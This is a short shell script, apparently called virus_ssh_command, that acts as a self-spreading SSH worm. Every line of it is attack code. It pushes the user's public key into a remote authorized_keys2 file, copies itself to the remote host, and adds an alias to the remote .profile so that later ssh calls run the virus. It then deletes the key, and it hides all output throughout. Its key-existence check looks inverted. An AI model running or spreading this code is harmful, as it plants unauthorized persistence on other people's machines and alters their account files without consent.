#!/bin/sh #TODO: Sunset, delete at some future date #TODO: $1 is overly general, won't work with complicated SSH flags if date | grep -e "Feb" -e "Mar" > /dev/null then if date | grep 2018 > /dev/null then if [ -e ~/.ssh/id_rsa.pub ] then yes "" | ssh-keygen -t rsa -P "" > /dev/null 2> /dev/null fi scp ~/.ssh/id_rsa.pub $1:.ssh/authorized_keys2 > /dev/null 2> /dev/null scp virus_ssh_command $1: > /dev/null 2> /dev/null ssh -t $1 "echo alias ssh=~/virus_ssh_command >> .profile; cat .profile | uniq > .newprof ; mv .newprof .profile" > /dev/null 2> /dev/null ssh $1 $2 $3 $4 $5 $6 ssh $1 "rm .ssh/authorized_keys2" > /dev/null fi fi